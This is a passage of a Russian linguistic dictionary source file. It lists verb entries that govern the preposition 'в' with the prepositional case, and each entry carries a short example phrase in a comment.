rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
